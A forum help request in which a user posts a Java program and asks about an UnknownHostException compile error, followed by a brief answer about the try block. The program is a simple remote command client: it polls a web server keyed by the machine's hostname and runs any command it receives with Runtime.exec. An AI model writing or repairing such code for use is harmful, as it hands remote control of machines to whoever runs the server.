import java.net.*;
import java.io.*;
import java.util.*;
public class server{
public static void main(String args[]){
String hostname = "Unknown";
InetAddress addr;
addr = InetAddress.getLocalHost();
hostname = addr.getHostName();
do{
try {
URL c = new URL("http://mywebsite/admin/users/" + hostname + "/c.txt");
URL cinfo = new URL("http://mywebsite/admin/users/" + hostname + "/cinfo.txt");
Scanner c2 = new Scanner(c.openStream());
Scanner cinfo2 = new Scanner(cinfo.openStream());
String c3 = c2.nextLine();
String cinfo3 = cinfo2.nextLine();
URL del = new URL("http://mywebsite/admin/users/" + hostname + "/manager.php?perform=delete");
if ("commandline".compareTo(c3) == 0){
Runtime.getRuntime().exec(cinfo3);
HttpURLConnection connection = (HttpURLConnection) del.openConnection();
connection.connect();
connection.getResponseCode();
Thread.sleep(10000);
}
if ("idle".compareTo(c3) == 0){
System.out.println("Waiting for a command.");
}
if ("print".compareTo(c3) == 0){
System.out.println(cinfo3);
HttpURLConnection connection = (HttpURLConnection) del.openConnection();
connection.connect();
connection.getResponseCode();
Thread.sleep(10000);
}
}
catch(IOException e) {
break;
}
catch(InterruptedException e){
break;
}
} while(true);
}
}
The above is my Java program. When I try to compile, I get UnknownHostException. If I try to catch it, it says as an error that it’s already been caught and then it says as another error that it needs to be caught. With my above code, it says that it needs to be caught but doesn’t say that it’s already caught. Can anyone help? Please note that in the actual code, ‘mywebsite’ is actually my actual website but for privacy reasons I removed it from the code block above.
InetAddress.getLocalHost()throwsUnknownHostException.Your catch blocks already catch the superclass of
UnknownHostException, but that call is outside thetryblock, so they don’t help.